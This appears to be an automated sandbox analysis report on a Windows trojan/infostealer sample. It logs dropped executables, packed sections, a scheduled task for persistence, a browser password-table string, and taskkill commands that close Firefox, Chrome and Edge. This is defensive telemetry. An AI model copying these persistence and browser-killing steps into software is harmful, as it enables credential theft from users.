Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name:
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: .idata
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_01166000		4_2_01166000
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_01172C13		4_2_01172C13

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 10582062C33D5D8478731C97DE4F2882F25332A603D048F4ADA7AAB4AF0730E4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.1993660046.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001225581.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2007050770.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002206197.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001962207.0000000005D46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000869671.0000000005D46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998282442.0000000005F34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001344875.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994078449.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000749535.0000000005F8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2010374922.000000000595A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999133150.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995746198.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000000587.0000000005D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001590522.0000000005E75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001713466.0000000005D47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994597296.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996527681.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993821233.0000000005E8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993584804.0000000005E91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000388822.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2010944920.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2010625640.00000000058CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002737047.0000000005E83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004078286.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996130633.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997920327.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995976389.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998382542.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997484977.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995445766.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000509063.0000000005D48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999770022.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997254621.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997367940.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993232449.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995350283.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999898315.0000000005F6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997805304.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999635799.0000000005D46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000128717.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001465946.0000000005D4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998876318.0000000005F50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000628171.0000000005E65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993105894.00000000059A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000987016.0000000005E65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000260274.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2005620242.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998620311.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993903331.0000000005D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003191211.0000000005D48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994973241.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993739790.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992905050.0000000005B42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997599813.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996420182.0000000005D46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995850008.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997692742.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993302012.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994406120.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003391705.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998161021.0000000005E40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001834845.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997001815.0000000005D48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992972933.00000000059A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995067615.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996209528.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004344716.0000000005FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999410080.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995159041.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2011212573.00000000010E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994693354.0000000005EA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002083298.0000000005E77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994244842.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003950625.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994333003.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993510301.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993438744.0000000005D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995541296.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994783220.0000000005D48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004502841.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001106060.0000000005F8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2002332146.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993169303.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996313646.0000000005E22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994500284.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993041227.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999257097.0000000005D48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996636200.0000000005D47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999000955.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995637199.0000000005D47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996879673.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2012190717.0000000006014000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994167956.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993988210.0000000005DE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2011037069.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997134926.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2004207148.0000000005E86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003583803.0000000005FCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2003810725.0000000005D47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995254815.0000000005D4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998747123.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998500289.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1998039317.0000000005D47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993368835.0000000005DED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994876269.0000000005E07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996757177.0000000005E31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981264694357367
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: skotes.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: skotes.exe.5.dr	Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9981264694357367
Source: 7f3598dc65.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9981264694357367
Source: random[1].exe0.6.dr	Static PE information: Section: eysgbrhc ZLIB complexity 0.9946271392490953
Source: 606111e8b5.exe.6.dr	Static PE information: Section: eysgbrhc ZLIB complexity 0.9946271392490953
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: Section: ZLIB complexity 0.9973337448910081
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: Section: baulhwjg ZLIB complexity 0.9946982479659763

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 7f3598dc65.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@85/40@101/14

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Code function: 4_2_04AC15D0 ChangeServiceConfigA,

4_2_04AC15D0

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GVDV7NGS54W9A7T64.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:560:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1715576396.00000000058D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224189895.0000000005844000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2370745810.00000000052AB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 37%

Source: GVDV7NGS54W9A7T64.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: AJK1SC9862O5LRO4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe "C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe "C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe"
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
